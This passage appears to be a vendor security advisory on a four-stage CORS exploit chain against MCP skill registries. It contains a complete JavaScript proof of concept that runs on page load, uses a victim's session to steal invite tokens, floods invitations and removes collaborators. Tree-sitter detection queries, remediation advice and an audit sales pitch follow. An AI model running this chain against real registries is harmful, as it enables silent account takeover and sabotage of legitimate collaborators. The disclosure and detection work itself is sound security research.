The four findings in SA-SKL-CORS81 are individually exploitable, but their true destructive potential lies in how they chain together. An attacker who controls a single web page that a victim skill admin visits — whether through a malicious skill submission with a “demo” link that a registry reviewer opens, a phishing email, or a compromised third-party site in the reviewer’s browsing history — can execute all four stages in sequence during that single page visit. The chain takes fewer than two seconds to complete end-to-end because every stage involves CORS-enabled HTTP requests that complete in the background while the page renders.

In Stage 1, the attacker uses the CORS81-003 timing oracle to probe a list of skill IDs (obtained from the registry’s public search API) and identifies which skills have active pending invitations. Skills with warm-cache timing responses (~4 ms) are queued as targets; skills without pending invitations are skipped. This reduces a target list of thousands of public skills to a handful of high-yield targets within a few seconds. Stage 2 uses CORS81-001 to read the full collaborator list for each target skill, extracting the raw pendingInviteToken for each outstanding invitation. The attacker then immediately accepts each stolen token using their own authenticated session in a separate request, silently joining the skill’s co-author team as an editor. Stage 3 uses CORS81-002 to flood the invitation quota for each target skill with 10 invitation requests directed at attacker-controlled or spam-trap addresses, exhausting the hourly quota and preventing the legitimate skill owner from inviting anyone else during the quota window. Stage 4 uses CORS81-004 to remove all existing collaborators from each target skill, leaving only the skill owner and the attacker (who accepted a stolen invite token in Stage 2) with any write access.

Stage Finding Technique Observable / Payload Enables
1 CORS81-003 Timing oracle via Origin reflection before auth check performance.now() measures <20 ms (warm cache) vs >100 ms (cold DB) Identifies skills with active pending invitations as prime takeover targets
2 CORS81-001 Credential-bearing CORS reads collaborator list including raw invite tokens and audit log GET /api/skills/:id/collaborators with victim session; response includes pendingInvitations[].token Attacker accepts stolen token from own browser; becomes editor-level co-author with silent write access
3 CORS81-002 Wildcard ACAO floods invitation quota; bulk spam from registry domain POST /api/skills/:id/collaborators/invite ×10 with spam-trap addresses Quota exhaustion blocks legitimate owner invitations for up to 59 minutes; bulk spam risks sending domain blocklisting
4 CORS81-004 Credential-bearing CORS removes all collaborators simultaneously DELETE /api/skills/:id/collaborators/:userId for all non-owner collaborators All existing co-authors lose write access instantly; attacker (accepted in Stage 2) is the only remaining collaborator with write access

Threat actor profile — malicious skill submission with “demo” link: The most realistic delivery mechanism for this exploit chain is a malicious MCP skill submitted to the registry’s public submission queue. Registry review teams routinely open submitted skill demo pages to evaluate the skill’s functionality before approval. If the skill’s “demo” URL resolves to an attacker-controlled page that runs the CORS81 chain on load, any reviewer who visits the demo page while authenticated to the registry triggers all four stages. The reviewer may not notice anything unusual: the page renders normally, there is no visible JavaScript error, and the attack chain completes in the background within two seconds. This delivery vector requires no phishing, no malware, and no social engineering beyond submitting a skill — a zero-interaction attack from the registry’s perspective, requiring only that the reviewer performs their standard review workflow. Registry operators should consider sandboxing skill preview requests (using a dedicated unauthenticated browser profile or a headless browser with no session cookies) to eliminate this attack vector independently of the CORS fixes.

The following proof-of-concept demonstrates the full four-stage chain executing from a single attacker-controlled page. This code is provided for security research and responsible disclosure purposes only. All skill IDs, hostnames, and identifiers are illustrative.

// SA-SKL-CORS81 — Full compound co-author takeover chain PoC
// Executes all 4 stages on a single attacker-controlled page visit.
// Requires: victim skill admin session present in browser when page is loaded.

(async function cors81Chain() {
  const REGISTRY = 'https://registry.example.com';
  const SPAM_TARGETS = [
    'trap1@spamtrap.example', 'trap2@spamtrap.example',
    'trap3@spamtrap.example', 'trap4@spamtrap.example',
    'trap5@spamtrap.example', 'trap6@spamtrap.example',
    'trap7@spamtrap.example', 'trap8@spamtrap.example',
    'trap9@spamtrap.example', 'trap10@spamtrap.example',
  ]; // 10 addresses — exhausts the hourly quota in one pass

  // --- STAGE 1: CORS81-003 timing oracle — identify skills with pending invitations ---
  // Fetch a list of candidate skill IDs from the public search API (no auth required)
  const searchResp = await fetch(`${REGISTRY}/api/skills/search?q=&sort=popular&limit=200`);
  const { skills: candidates } = await searchResp.json();

  async function hasPendingInvitations(skillId) {
    // Timing oracle: warm cache (~4 ms) signals pending invitations exist
    const TIMING_THRESHOLD_MS = 20;
    const SAMPLES = 3; // average multiple samples to filter network jitter
    let total = 0;
    for (let i = 0; i < SAMPLES; i++) {
      const t0 = performance.now();
      try {
        await fetch(`${REGISTRY}/api/skills/${skillId}/collaborators/pending`, {
          credentials: 'include', // victim session — CORS81-003 reflects origin before auth
        });
      } catch (_) {}
      total += performance.now() - t0;
    }
    return (total / SAMPLES) < TIMING_THRESHOLD_MS; // true → warm cache → invitations exist
  }

  // Probe all candidates, collect those with active pending invitations
  const targetSkills = [];
  for (const skill of candidates) {
    if (await hasPendingInvitations(skill.id)) {
      targetSkills.push(skill.id);
    }
  }
  // targetSkills now contains only skills worth attacking in the remaining stages

  // --- STAGE 2: CORS81-001 — steal invite tokens, accept them as attacker ---
  const stolenCollaboratorData = [];
  for (const skillId of targetSkills) {
    // Read the full collaborator list including raw pendingInviteToken values
    const r = await fetch(`${REGISTRY}/api/skills/${skillId}/collaborators`, {
      credentials: 'include', // victim admin session
    });
    if (!r.ok) continue;
    const data = await r.json();
    stolenCollaboratorData.push({ skillId, collaborators: data.collaborators });

    if (!data.pendingInvitations?.length) continue;

    // Accept each stolen invite token using the attacker's OWN authenticated session
    for (const inv of data.pendingInvitations) {
      if (!inv.token) continue; // defensive check — should always be present in vulnerable response
      await fetch(`${REGISTRY}/api/skills/${skillId}/collaborators/accept`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        credentials: 'include', // attacker's OWN session — not victim's
        body: JSON.stringify({ token: inv.token }),
      });
      // Attacker is now a co-author (editor level) of this skill
      // Audit trail shows legitimate invitation acceptance — no anomalous signal
    }
  }

  // --- STAGE 3: CORS81-002 — flood invitation quota, spam registry sending domain ---
  for (const skillId of targetSkills) {
    // Send 10 invitation requests in parallel — exhausts the entire hourly quota
    await Promise.all(SPAM_TARGETS.map(email =>
      fetch(`${REGISTRY}/api/skills/${skillId}/collaborators/invite`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        credentials: 'include', // victim admin session — sends from victim's identity
        body: JSON.stringify({ email, accessLevel: 'editor' }),
      })
    ));
    // Legitimate owner now gets 429 for all invitation attempts for up to 59 minutes
    // 10 invitation spam emails sent from registry domain → potential blocklisting
  }

  // --- STAGE 4: CORS81-004 — remove all existing collaborators instantly ---
  for (const { skillId, collaborators } of stolenCollaboratorData) {
    // Remove all collaborators except the owner (to avoid an immediately obvious alert)
    // Attacker (who accepted an invite token in Stage 2) remains as the only co-author
    const toRemove = collaborators.filter(c => c.accessLevel !== 'owner');
    await Promise.all(toRemove.map(c =>
      fetch(`${REGISTRY}/api/skills/${skillId}/collaborators/${c.userId}`, {
        method: 'DELETE',
        credentials: 'include', // victim admin session
      })
    ));
    // All co-authors removed instantly, in-progress edits orphaned, no warning sent
    // Attacker is now the only collaborator with write access to the skill
  }
})();

Detection with AST queries

Static analysis of Express.js route handler source code can identify all four CORS81 patterns before deployment. The following three query classes cover the full finding set and are designed to run against compiled or source TypeScript as well as plain JavaScript using tree-sitter or an equivalent AST analysis framework.

Query class A — Credential-bearing CORS on collaborator list or deletion endpoints

This query identifies cors({origin:true,credentials:true}) usage on route handlers whose path pattern matches skill collaborator list reads or deletion endpoints. The pattern targets the specific combination of reflected-origin CORS (origin: true) and credentials (credentials: true), which is the prerequisite for CORS81-001 and CORS81-004.

// tree-sitter query — class A
// Matches: cors({ origin: true, credentials: true }) on GET or DELETE handlers
// for paths matching /collaborators or /collaborators/:userId

(call_expression
  function: (identifier) @fn (#eq? @fn "cors")
  arguments: (arguments
    (object
      (pair key: (property_identifier) @ok (#eq? @ok "origin")
            value: (true) @oval)
      (pair key: (property_identifier) @ck (#eq? @ck "credentials")
            value: (true) @cval)
    )
  )
) @cors_credentialed_reflected

;; Flag any route handler that (a) uses the above cors() call and (b) is registered
;; on a path containing "collaborators" with method GET or DELETE.

;; Supplementary check: flag router.get() or router.delete() where the path string
;; literal matches /collaborators(\/:userId)?/ and the middleware list includes
;; a cors({origin:true}) call expression.
(call_expression
  function: (member_expression
    object: (identifier) @router
    property: (property_identifier) @method
    (#match? @method "^(get|delete)$")
  )
  arguments: (arguments
    (string) @path (#match? @path "collaborators")
    (call_expression function: (identifier) @cors_fn (#eq? @cors_fn "cors")) @cors_call
  )
) @route_with_cors

Query class B — Wildcard ACAO on invitation POST endpoints

This query identifies explicit res.setHeader('Access-Control-Allow-Origin', '*') calls or cors() calls that resolve to a wildcard ACAO within a route handler whose path matches the invitation endpoint pattern. The wildcard ACAO is the prerequisite for CORS81-002.

// tree-sitter query — class B
;; Pattern 1: explicit res.setHeader with wildcard ACAO
(call_expression
  function: (member_expression
    object: (identifier) @res (#eq? @res "res")
    property: (property_identifier) @method (#eq? @method "setHeader")
  )
  arguments: (arguments
    (string) @header_name (#eq? @header_name "'Access-Control-Allow-Origin'")
    (string) @header_value (#eq? @header_value "'*'")
  )
) @wildcard_acao_set

;; Pattern 2: cors() with no arguments (defaults to ACAO:*) on a POST route
;; that includes "invite" in the path
(call_expression
  function: (member_expression
    object: (identifier) @router
    property: (property_identifier) @method (#eq? @method "post")
  )
  arguments: (arguments
    (string) @path (#match? @path "invite")
    (call_expression
      function: (identifier) @cors_fn (#eq? @cors_fn "cors")
      arguments: (arguments) @no_args (#eq? @no_args "()")
    )
  )
) @default_cors_on_invite_post

;; Combine: flag any POST route with "invite" in path where either pattern fires.

Query class C — CORS reflection before authentication on pending invitation GET endpoints

This query identifies route handlers where the cors() middleware call appears as a positional argument before the authentication middleware call in the route handler’s middleware list. The “auth-after-CORS” ordering is the structural cause of the CORS81-003 timing oracle, and also applies to CORS81-001 and CORS81-004 when the auth check is not the first middleware in the chain.

// tree-sitter query — class C
;; Detect routes where cors() middleware appears at an earlier argument position
;; than requireSession / requireAuth / authenticate in the same call_expression.
;;
;; Heuristic: in a router.get(...) call, capture the index position of the first
;; cors(...) argument and the first identifier matching /require(Session|Auth|Login)/
;; — flag any route where cors_index < auth_index.

(call_expression
  function: (member_expression
    property: (property_identifier) @method (#match? @method "^(get|post|put|patch|delete)$")
  )
  arguments: (arguments
    .
    (string) @route_path
    .
    (call_expression
      function: (identifier) @cors_fn (#eq? @cors_fn "cors")
    ) @cors_arg
    .
    (identifier) @auth_fn
      (#match? @auth_fn "(requireSession|requireAuth|authenticate|verifyToken|isAuthenticated)")
    @auth_arg
  )
) @cors_before_auth

;; This query fires when cors() appears as an argument BEFORE the auth middleware
;; in the same router.method() call — indicating auth-after-CORS ordering.

SkillAudit scans for all CORS81 patterns automatically: The SkillAudit static analysis engine runs all three query classes above, plus 200+ additional vulnerability patterns, against your MCP skill server on every commit. CORS81-class findings are classified as CRITICAL or HIGH and are surfaced immediately in pull request annotations before they reach production. If your skill registry handles co-author management, invitation flows, or any other trust-delegation endpoints, schedule a CORS81 audit now to verify your current configuration before the compound chain is used against your users.

Summary and 12-point remediation checklist

SA-SKL-CORS81 demonstrates that co-author management endpoints in MCP skill registries constitute a trust-delegation attack surface that requires the same CORS rigor as authentication and payment endpoints — and in some respects more, because the tokens they handle are long-lived, device-agnostic bearer credentials that cannot be detected as anomalous when accepted from unexpected locations. The compound four-stage chain (timing oracle → token theft and acceptance → invitation quota exhaustion → collaborator mass removal) can be executed entirely from a single page visit by a victim who clicks a link in a malicious skill submission — a zero-interaction vector from the attacker’s perspective that requires no phishing, no malware, and no account credentials beyond access to the registry’s public submission queue.

The root cause across all four findings is the same: CORS was configured for operational convenience (supporting multiple origins without maintaining an explicit allowlist) rather than security (limiting cross-origin access to only the specific origins that need it). The fix is structural: enforce authentication before CORS reflection on every collaboration endpoint, replace all origin:true and wildcard ACAO configurations with an explicitly maintained Set-based allowlist, and never return raw invite tokens or admin-only audit data in responses accessible to non-owner origins.

Get a full CORS81 audit

Scan your MCP skill for CORS81 and 200+ other vulnerability classes — including all SA-SKL-CORS finding sets, deserialization chains, SSRF, injection, and privilege escalation patterns — with a full automated audit from SkillAudit. Results delivered as a machine-readable report with finding severity, affected endpoint paths, and line-level code citations.

Request an audit